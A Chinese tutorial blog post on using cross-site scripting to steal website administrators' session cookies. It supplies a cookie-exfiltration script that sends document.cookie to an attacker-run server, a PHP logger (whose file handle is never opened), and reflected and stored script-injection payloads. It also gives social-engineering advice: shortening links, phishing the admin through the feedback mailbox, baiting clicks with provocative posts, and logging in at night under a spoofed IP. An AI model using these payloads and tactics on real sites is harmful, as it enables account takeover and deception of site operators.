Web渗透测试之XSS攻击:针对管理员的XSS攻击

前言

  管理员权限的重要性不言而喻,而在渗透测试中如果能够获得管理员权限,无疑将会奠定胜利的基调。本篇将讲述如何利用XSS漏洞冒充管理员,从而达到获得管理员权限的目的。

准备工作

  在攻击者的服务器端准备脚本执行文件以及cookie获得网页:
getcookie.js

var img = document.createElement('img');
img.src = "http://127.0.0.1/xss/getcookie.php?COOKIE="+encodeURIComponent(document.cookie);

getcookie.php:

<?php
    @ini_set('display_errors',1);
    $cookie = $_GET['COOKIE'];  
    $fileName = "getcookie.php"; 
        if(is_writable($fileName)==true){
        date_default_timezone_set('PRC'); //获得cookie的的时间
        $time = date('Y-m-d H:i:s');
        $ip = getenv('REMOTE_ADDR');    //获得访问者的IP地址
        $referer = getenv ('HTTP_REFERER'); //获得访问者当前页面
        fwrite($fp,"IP: ".$ip."\n"."Time: ".$time."\n"."Referer: ".$referer."\n"."Cookie: ".$cookie."\n");
        fclose($fp);
    }
    else{
        echo "Write failed!";
    }
?>

  如果确定受害用户为管理员,则访问者当前页面极有可能为后台管理页面,如果不是则可以通过Googel Hacking等方式获得管理员后台登录页面。如果出现登陆时锁IP的情况,则可以在深夜等特殊时间段管理员下线后使用假冒访问者IP进行后台登录。如果还有其它需求也可以往getcookie.php中加。

反射型XSS

  我们先构造如下虚假URL:http://xxx/xx?abc=< script src=“http://127.0.0.1/xss/getcookie.js”>< /script>。http://xxx/xx?abc= 为存有XSS漏洞的URL,http://127.0.0.1/xss/getcookie.js为攻击者服务器端脚本执行文件。
  尽管我们已经使用了脚本执行文件的方式缩短了URL,但当前URL仍旧过长且特征明显。此时我们可以用短链接的方式将我们虚假的URL缩短为http://xxx.xx/ 的形式以降低管理员警惕。接着通过网站留有的反馈邮箱,将伪装成反馈邮件的钓鱼邮件发送给管理员,诱使其点击我们的虚假URL。如果钓鱼成功,则可以获得管理员后台登录所需的信息以取得相关权限。

存储型XSS

  在存储型XSS中我们只需在评论留言等文本内嵌入我们的XSS:< script src=“http://127.0.0.1/xss/getcookie.js”>后提交即可。
  虽然存储型XSS无需社会工程学相关方面技能,但如果涉及的是特殊用户群体,则仍需部分社会工程学技能。在我们写入存储型XSS之前需要明白一点的是,无论是反馈留言还是帖子,都是有字数限制的,并且管理员在点开之前是可以预览一部分内容的。如果篇幅过短或者内容意味明显,管理员在点进去之前就已经阅读完毕,那包含在其中的XSS也就形同虚设。因此存储型XSS的关键也在于如何诱使管理员点击我们想要其点击的内容。
  如果目标站点XSS漏洞存在于留言版功能,则我们需要写一篇相当切实坦诚的反馈以打动管理员;如果目标站点XSS漏洞存在于论坛类功能部分,则可以通过潜水观察管理员删帖规律以获得其相关喜好,再通过制造争议性话题以诱使其点击,同时需要注意拿捏好火候,以免文本直接被管理员删除。

总结

  我们可以通过在XSS中写入受我们控制的域名,接着诱使管理员点击虚假的URL或含有XSS的文本内容以获得后台登录所需的信息。而成功的关键在于如何使管理员点击我们想要其点击的内容,此时需要有较强的社会工程学技能才能成功达到我们的目的。
  以上就是本篇的全部内容,我们下篇见。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值